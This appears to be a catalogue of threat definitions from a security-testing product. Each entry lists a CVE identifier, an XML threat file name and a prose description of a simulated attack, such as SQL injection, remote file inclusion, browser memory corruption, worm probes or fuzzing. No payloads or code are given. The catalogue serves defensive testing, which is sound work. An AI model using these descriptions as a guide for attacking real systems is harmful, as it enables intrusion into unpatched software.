CVEID:	CVE-2005-3530
OSVDB:	20709
Threat Package:	Standard
Threat File Name:	gamesitescript_sql.xml
Executive Description:	GameSiteScript <= 3.1 (profile id) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. GameSiteScript is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3631
Threat Package:	Standard
Threat File Name:	FSC20070814-14_Microsoft_Internet_Explorer_Pdwizard_ocx_ActiveX_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Pdwizard.ocx ActiveX Object Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft's ActiveX control pdwizard.ocx. The vulnerability is due to memory corruption that occurs when the affected control is instantiated in Internet Explorer. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3041
Threat Package:	Standard
Threat File Name:	TSL20140411-08_Advantech_WebAccess_SCADA_webvact_ocx_UserName_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx UserName Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the UserName parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-0770
OSVDB:	105567
Threat File Name:	galleria_rfi_IPv6.xml
Executive Description:	Galleria Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Mambo Galleria is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3396
OSVDB:	27010
Threat Package:	Standard
Threat File Name:	TSL20111011-21_Microsoft_Internet_Explorer_Select_Element_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Select Element Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way in which IE handles list indices for certain objects. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage, or open a crafted Microsoft Office document that hosts the IE rendering engine and contains an ActiveX control marked "safe for initialization". A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1999
Threat File Name:	cbsms_mambo_cmi_IPv6.xml
Executive Description:	CBSMS Mambo Module 1.0 Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET request containing a url for a file to be included by the script via mod_cbsms_messages.phps "mosConfig_absolute_path" parameter. CMSMS is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040413-03_Microsoft_Negotiate_SSP_Buffer_Overflow.xml
Executive Description:	Microsoft Negotiate SSP Buffer Overflow
Detailed Description:	A NULL pointer deference and a buffer overflow vulnerability exists in the Negotiate Security Support Provider (SSP) interface. The Negotiate SSP interface does not properly validate a value that is used during the authentication protocol selection. An attacker who successfully exploits this vulnerability can cause a Denial of Service, or remotely execute code.
Protocol Type:	HTTP
CVEID:	CVE-2004-0119
Threat Package:	Standard
Threat File Name:	sipwiderangeofvalidchars.xml
Executive Description:	SIPPING: Wide Range of Valid Characters

Detailed Description:	This threat sends out a SIP message with a wide range of characters encoded in various ways in places that implementations probably won't be expecting. The message is legal but may crash or confuse a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20121113-06_Microsoft_Windows_TrueType_Font_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows TrueType Font Parsing Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to Windows improperly handling objects in memory when parsing crafted TrueType fonts. A remote attacker can exploit this vulnerability to execute arbitrary code with kernel permissions
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-2897
OSVDB:	85749
Threat File Name:	oracle_web_plsql_1_IPv6.xml
Executive Description:	Oracle PLSQL Bypass Attack One (IPv6 Version)
Detailed Description:	This threat bypasses the Oracle PLSQL gateway by supplying an encoded new line character in the URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170509-24_Microsoft_Office_EPS_CVE-2017-0262_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Office EPS CVE-2017-0262 Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Office. This vulnerability is due to incorrect handling of Encapsulated PostScript files embedded in Office documents. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted file. Successful exploitation would allow the attacker to execute arbitrary code under the security context of the user. This vulnerability is currently being exploited in the wild.
Protocol Type:	HTTP,HTTPS,IMAP,SMTP,SMB/CIFS,IPv6
CVEID:	CVE-2017-0262
Threat File Name:	FSC20071211-16_Microsoft_Windows_Message_Queueing_Service_String_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Message Queuing Service String Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Microsoft Windows Message Queuing Service handles incoming messages. The vulnerability is due to insufficient boundary checking on the strings within the messages that are received by the vulnerable interface. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. Successful exploitation may lead to arbitrary code execution with System level privileges. (IPv6 Version)
Protocol Type:	DCERPC/IPv6
CVEID:	CVE-2007-3039
Threat Package:	Standard
Threat File Name:	FSC20050624-01_Veritas_Backup_Exec_Agent_CONNECT_CLIENT_AUTH_Buffer_Overflow.xml
Executive Description:	Veritas Backup Exec Agent CONNECT_CLIENT_AUTH Buffer Overflow
Detailed Description:	The VERITAS Backup Exec for Windows contains a remotely exploitable buffer overflow vulnerability. The vulnerability is triggered when crafted authentication requests are handled, allowing a remote attacker to execute arbitrary code with privileges of the System user.
Protocol Type:	NDMP
CVEID:	CVE-2005-0773
Threat Package:	Standard
Threat File Name:	linksys_apply.xml
Executive Description:	Linksys HTTP POST Buffer Overflow
Detailed Description:	This threat sends a massive POST request to the CGI script /apply.cgi. This causes memory corruption on the target router, causing the service to crash or reboot. This attack can lead to remote code execution. The Linksys router's web management port typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2799
OSVDB:	19389
Threat Package:	Standard
Threat File Name:	claroline1_IPv6.xml
Executive Description:	Claroline SQL Injection Attack (IPv6 Version)
Detailed Description:	This threat takes advantage of a flaw in the Claroline E-Learning application that allows a remote attacker to inject arbitrary SQL commands through its web interface. Claroline is a web application, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1375
OSVDB:	16534
Threat Package:	Standard
Threat File Name:	gepi_rfi.xml
Executive Description:	Gepi 1.4.0 savebackup.php remote file inclusion vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected webserver. GEPI is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5669
Threat Package:	Standard
Threat File Name:	ipv6_ping_flood.xml
Executive Description:	IPv6 Ping Flood
Detailed Description:	This threat is a IPv6 version of a ping flood.
Protocol Type:	ICMP6
Threat Package:	Standard

Threat File Name:	ms_vdt70_dll_activex_bof_IPv6.xml
Executive Description:	Microsoft Visual 6 VDT70.DLL Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the VDT Database Designer VDT70.DLL ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4254
Threat Package:	Standard
Threat File Name:	leadtools_isis_dos_IPv6.xml
Executive Description:	LeadTools ISIS Control (ltisil4E.ocx v.14.5.0.44) Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a denial of service in the LeadTools ISIS ActiveX application. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2827
Threat Package:	Standard
Threat File Name:	FSC20080411-04_Borland_Software_InterBase_ibserver.exe_Service_Attach_Request_Buffer_Overflow.xml
Executive Description:	Borland Software InterBase ibserver.exe Service Attach Request Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Borland InterBase Server. The vulnerability is due to lack of boundary protection while processing Service Attach requests (Opcode 0x52). A remote unauthenticated attacker can send a crafted request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Successful attack could allow for arbitrary code being executed with the privileges of the affected service, which is normally System on Windows platforms. In the case of an unsuccessful code execution attack, the affected service will terminate resulting in a denial of service condition.
Protocol Type:	InterBase
Threat Package:	Standard
Threat File Name:	BOOTP_hostname_IPv6.xml
Executive Description:	BOOTP Hostname Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in certain versions of Microsoft Windows Advanced Server 2000 by sending a long hostname. (IPv6 Version)
Protocol Type:	BOOTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070213-12_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability in the way Microsoft Internet Explorer instantiates certain COM objects that are not designed to be used as ActiveX controls. When instantiation of such COM objects is attempted by Internet Explorer, the application memory can be corrupted as a result. Successful exploitation of this vulnerability can allow for arbitrary code execution within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0219
Threat Package:	Standard
Threat File Name:	TSL20121219-01_Contaware_FreeVimager_GIF_LZWMinimumCodeSize_Memory_Corruption.xml
Executive Description:	Contaware FreeVimager GIF LZWMinimumCodeSize Memory Corruption
Detailed Description:	A memory corruption vulnerability has been found in Contaware FreeVimager. The vulnerability is due to an error in processing GIF images containing an invalid value for the LZWMinimumCodeSize field. An attacker could exploit this vulnerability by enticing a target user to open a maliciously crafted GIF file with the vulnerable product. In the case of a successful attack, arbitrary attacker code could be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
OSVDB:	88335
Threat File Name:	TSL20150601-01_PHP_phar_parse_tarfile_method_Integer_Overflow.xml
Executive Description:	PHP phar_parse_tarfile method Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in PHP. The vulnerability is due to an issue with the parsing of TAR files by phar_parse_tarfile(). A remote attacker can exploit the vulnerability by sending crafted data to a web application running a vulnerable version of PHP. Successful exploitation could lead to the disclosure of sensitive information from the server.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-4021
Threat File Name:	julmacms_dirtransversal_IPv6.xml
Executive Description:	JulmaCMS 1.4(file.php file)Remote File Disclosure Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. JulmaCMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2324
Threat Package:	Standard
Threat File Name:	FSC20060525-16_Symantec_Antivirus_Real_Time_Virus_Scan_Service_Stack_Overflow.xml
Executive Description:	Symantec Antivirus Real Time Virus Scan Service Stack Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in the Real-Time Scan Service component of various Symantec Antivirus products. The flaw exists due to insufficient verification of user input processed by the service Log Forwarding component. An unauthenticated attacker may leverage this vulnerability to inject and execute arbitrary code, which will run in the security context of the service, System by default.
Protocol Type:	Proprietary
CVEID:	CVE-2006-2630
Threat Package:	Standard

Threat File Name:	piecartpro_home_rfi.xml
Executive Description:	Pie Cart Pro Home_Path Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Pie Cart Pro is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090226-11_Novell_eDirectory_Management_Console_Accept-Language_Buffer_Overflow_IPv6.xml
Executive Description:	Novell eDirectory Management Console Accept-Language Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Novell eDirectory. The flaw is due to a boundary error when processing HTTP requests. By supplying an overly large number of values for the Accept-Language header, a remote unauthenticated attacker can leverage this vulnerability to inject and execute arbitrary code on the target host with System or root level privileges. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed with System or root privileges. In the case of an unsuccessful code execution attack, eDirectory might terminate abnormally. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20111115-05_Flexera_InstallShield_ISGrid2_dll_DoFindReplace_Heap_Buffer_Overflows.xml
Executive Description:	Flexera InstallShield ISGrid2.dll DoFindReplace Heap Buffer Overflows
Detailed Description:	Two heap buffer overflow vulnerabilities exist in Flexera Software InstallShield. Specifically, these vulnerabilities exist in the InstallShield Grid Control, ISGrid2.dll. The vulnerabilities are due to insufficient validation of the arguments of the DoFindReplace() method. Crafted long arguments can cause an overflow of heap buffers that could possibly lead to injection and execution of arbitrary code. A remote unauthenticated attacker can exploit these vulnerabilities by enticing a target user to open a malicious HTML page that uses the ActiveX Control ISGrid.Grid2. Successful exploitation can result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-3174
Threat File Name:	phpnuke_sqli_a_IPv6.xml
Executive Description:	PHPNuke "url" field SQL Injection Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. PHPNukie is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3304
OSVDB:	20292
Threat File Name:	FSC20080310-07_RealNetworks_RealPlayer_rmoc3260_dll_ActiveX_Control_Memory_Corruption.xml
Executive Description:	RealNetworks RealPlayer rmoc3260.dll ActiveX Control Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in RealNetworks RealPlayer ActiveX controls implemented in rmoc3260.dll. The flaw is due to boundary error in the set/get mechanism of certain properties of these controls. Remote attackers can exploit this vulnerability by persuading the target user to view a malicious web page. Successful attack could allow for arbitrary code execution with privileges of the currently logged on user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-1309
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-CONNECT_PrependHTTPWithformats.xml
Executive Description:	Fuzz HTTP CONNECT with filename prepended with %s
Detailed Description:	Fuzzes the Request-URI field by prepending %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20170509-26_Microsoft_Windows_SMB_Server_SMBv1_Information_Disclosure.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in the SMB Server component of Microsoft Windows. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit the vulnerability by sending a crafted request to a target SMB server. Successful exploitation could result in the disclosure of information which may be used to facilitate further attacks.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0271
Threat File Name:	irsr_rfi.xml
Executive Description:	Invisionix Roaming System Remote Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Invisionix Roaming System Remote is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160531-01_Trend_Micro_IWSVA_wmi_domain_controllers_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA wmi_domain_controllers Command Injection (IPv6 version)
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security. This vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the /rest/wmi_domain_controllers URI. A remote, unauthenticated attacker can exploit this vulnerability by sending maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to arbitrary command execution under the security context of the target process.
Protocol Type:	HTTP, HTTPS, IPv6

Threat File Name:	widexl_download_tracker_xss.xml
Executive Description:	Widexl Download Tracker down.pl ID Variable XSS
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. Widexl Download Tracker is a web based interface that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0246
OSVDB:	22462
Threat File Name:	firefox_hyphen.xml
Executive Description:	Firefox Hyphen Hyperlink Denial of Service
Detailed Description:	This threat causes the Mozilla Firefox web browser to crash by copying memory out of bounds. This can lead to a denial of service condition, and possibly remote code execution. This attack comes from web servers, which typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2871
OSVDB:	19255
Threat Package:	Standard
Threat File Name:	TSL20170329-01_Microsoft_Edge_Frame_Elements_Same_Origin_Policy_Bypass_IPv6.xml
Executive Description:	Microsoft Edge Frame Elements Same Origin Policy Bypass (IPv6 Version)
Detailed Description:	A security policy bypass vulnerability exists in Microsoft Edge. This vulnerability is due to a failure to correctly apply the Same-origin Policy for frame elements of newly opened windows. A remote attacker could exploit this vulnerability by tricking a user into loading a page or visiting a site. Successful exploitation of this vulnerability would allow an attacker to bypass the Same-origin Policy and disclose sensitive information.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0066
Threat File Name:	phpBazar_cmi.xml
Executive Description:	phpBazar 2.1.0 Multiple Vulnerabilities
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via classified_right.php's GLOBAL parameter. phpBazar is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2528
OSVDB:	25700
Threat Package:	Standard
Threat File Name:	TSL20130611-13_Microsoft_Internet_Explorer_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Use After Free [IPv6, Version]
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-3123
OSVDB:	94117
Threat File Name:	FSC20100908-06_Apple_Safari_Webkit_Floating_Point_Data_Type_Code_Execution_IPv6.xml
Executive Description:	Apple Safari Webkit Floating Point Data Type Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Apple Safari web browser. The vulnerability is due to a design error when processing floating point data types. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-1807
Threat Package:	Standard
Threat File Name:	FSC20090325-13_Sun_Java_Runtime_Environment_Pack200-Decompression_Integer_Overflow.xml
Executive Description:	Sun Java Runtime Environment Pack200 Decompression Integer Overflow
Detailed Description:	There exists an integer overflow vulnerability in Sun Java Runtime Environment software. The vulnerability is due to insufficient validation while decompressing Pack200 (jar.pack.gz) files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted HTML file. Successful exploitation may lead to arbitrary code execution on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1095
Threat Package:	Standard
Threat File Name:	TSL20130326-09_Microsoft_Internet_Explorer_CTableCell_get_cellIndex_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer CTableCell get_cellIndex Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by an error in CTableCell::get_cellIndex function in mshtml.dll. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would cause an information disclosure. Microsoft has not released an advisory regarding this vulnerability at this point.
Protocol Type:	HTTP,HTTPS
Threat File Name:	popper_rfil_IPv6.xml
Executive Description:	Ractive Popper Childwindow.Inc.PHP Remote File Include Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Popper is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	cmwpc_bof.xml
Executive Description:	Chris Moneymaker's WPC Buffer Overflow
Detailed Description:	This attack exploits a buffer overflow in the computer game Chris Moneymaker's World Poker Championship. This is caused by sending a multiplayer nickname larger than 256 bytes causing an overflow. This game typically listens on port 17573.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2639
OSVDB:	18844
Threat Package:	Standard
Threat File Name:	TSL20170223-01_Microsoft_Internet_Explorer_and_Edge_column-span_Type_Confusion.xml
Executive Description:	Microsoft Internet Explorer and Edge column-span Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in the HandleColumnBreakOnColumnSpanningElement function of Microsoft Internet Explorer and Edge. This vulnerability is due to improper objects access in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2017-0037
Threat File Name:	FSC20080513-07_Microsoft_Publisher_Object_Handler_Validation_Code_Execution.xml
Executive Description:	Microsoft Publisher Object Handler Validation Code Execution
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Office Publisher. The vulnerability is due to lack of validation when processing user-supplied data. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PUB file, potentially allowing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in code execution. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Publisher will terminate, resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0119
Threat Package:	Standard
Threat File Name:	nimdal3_IPv6.xml
Executive Description:	Nimda Request URL 13 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160901-02_FreePBX_Framework_modulefunctions_class_php_display_SQL_Injection.xml
Executive Description:	FreePBX Framework modulefunctions.class.php display SQL Injection
Detailed Description:	A SQL injection vulnerability exists in FreePBX. This vulnerability is due to lack of validation of the display HTTP parameter in modulefunctions.class.php. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the vulnerable page. Successful exploitation could lead to arbitrary command execution on the server under the security context of the mysql user.
Protocol Type:	HTTP
Threat File Name:	FSC20100209-08_Microsoft_Office_PowerPoint_Viewer_TextBytesAtom_Record_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint Viewer TextBytesAtom Record Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Office PowerPoint Viewer. The vulnerability is due to improper validation while processing crafted TextBytesAtom records in a PowerPoint file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted PowerPoint file with the affected application. In attack scenarios where code execution is successful the behaviour of the target machine is completely dependent on the intention of the injected code, which will run in the security context of the currently logged in user. In cases where code execution is not successful the affected product may abnormally terminate.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0033
Threat Package:	Standard
Threat File Name:	TSL20160531-02_Trend_Micro_IWSVA_domains_Command_Injection.xml
Executive Description:	Trend Micro IWSVA domains Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the /rest/domains URI. A remote, unauthenticated attacker can exploit this vulnerability by sending maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the process.
Protocol Type:	HTTP
Threat File Name:	FSC20070710-18_Microsoft_.NET_Framework_CLI_Loader_Memory_Corruption.xml
Executive Description:	Microsoft .NET Framework CLI Loader Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft .NET Framework. The vulnerability is due to the Common Language Infrastructure (CLI) Loader does not properly parse certain crafted data. A remote attacker can exploit this vulnerability by persuading a target user to open a specially crafted CLI file, potentially terminating the client application and causing Denial of Service.
Protocol Type:	HTTP
CVEID:	CVE-2007-0041
Threat Package:	Standard
Threat File Name:	TSL20150925-05_ManageEngine_OpManager_SubmitQuery_IntegrationUser_SQL_Code_Execution.xml
Executive Description:	ManageEngine OpManager SubmitQuery IntegrationUser SQL Code Execution

Detailed Description:	An SQL code execution vulnerability exists in ManageEngine OpManager. This vulnerability is due to the use of hardcoded credentials and insufficient validation of request parameters in HTTP requests to the opmapi servlet. By sending crafted requests to an affected server, a remote attacker can exploit this vulnerability to execute arbitrary SQL commands with Administrator privileges which can further lead to arbitrary code execution in the security context of System.
Protocol Type:	HTTP
CVEID:	CVE-2015-7766
Threat File Name:	TSL20160829-05_Micro_Focus_GroupWise_Post_Office_Agent_Integer_Overflow_IPv6.xml
Executive Description:	Micro Focus GroupWise Post Office Agent Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability leading to a heap-based buffer overflow has been reported in the Post Office Agent component of Micro Focus GroupWise. The vulnerability is due to insufficient validation of usernames and passwords submitted to the Post Office Agent. A remote attacker can exploit this vulnerability by sending a crafted HTTP request to the web interface or SOAP listener, or via the thick client. A successful attack could result in arbitrary code execution on the server in the security context of the SYSTEM or root user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-5762
Threat File Name:	TSL20140708-01_Oracle_Event_Processing_FileUploadServlet_Directory_Traversal.xml
Executive Description:	Oracle Event Processing FileUploadServlet Directory Traversal
Detailed Description:	A code execution vulnerability exists in Oracle Event Processing. The vulnerability is due to a directory traversal within the FileUploadServlet servlet. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. This may lead to code execution in the context of the affected service. Tester should turn variable \$destPort into 9002 or 9003 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2424
OSVDB:	105844
Threat File Name:	downstat_rfi.xml
Executive Description:	Vmist Downstat Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that allows for arbitrary code to be executed on the affected server. Downstat is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080401-08_Multiple_Vendor_CUPS_GIF_Decoding_Routine_Buffer_Overflow_IPv6.xml
Executive Description:	Multiple Vendor CUPS GIF Decoding Routine Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Apple's Common Unix Printing System (CUPS) distributed by multiple vendors. The vulnerability is due to a boundary error in handling of GIF format files and may be exploited by remote attackers to compromise a vulnerable system or cause denial of service. (IPv6 Version)
Protocol Type:	NDP/IPv6
CVEID:	CVE-2008-1373
Threat Package:	Standard
Threat File Name:	TSL20130903-09_Kingsoft_Writer_Font_Names_Buffer_Overflow.xml
Executive Description:	Kingsoft Writer Font Names Buffer Overflow
Detailed Description:	A code execution vulnerability has been reported in Kingsoft Writer. The vulnerability is due to an error while handling font names in WPS or Office word files. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to download and process a malicious file with a vulnerable version of the application. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-3934
OSVDB:	96312
Threat File Name:	lupper18_IPv6.xml
Executive Description:	Lupper Worm 18 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	core_mailslot_dos_IPv6.xml
Executive Description:	SMB PIPE Server Crash (IPv6 Version)
Detailed Description:	This threat causes a reboot of a Windows XP machine by sending a malformed SMB request. This is a new flaw unpatched as of yet by microsoft, discovered by Core Security. SMB is a windows file sharing service and typically listens on port 445. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2006-3942
Threat Package:	Standard
Threat File Name:	FSC20090728-08_Microsoft_Active_Template_Library_Uninitialized_Object_Code_Execution.xml
Executive Description:	Microsoft Active Template Library Uninitialized Object Code Execution
Detailed Description:	There is a remote code execution vulnerability in Microsoft Active Template Library (ATL). The vulnerability is due to an error in the way certain ATL headers are handled. In certain cases it is possible to force VariantClear to be called on a VARIANT that has not been correctly initialized. Remote attackers can exploit this issue by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user; additionally, the behaviour of the target machine is dependent on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0901
Threat Package:	Standard
Threat File Name:	x86NOOPtcp7.xml
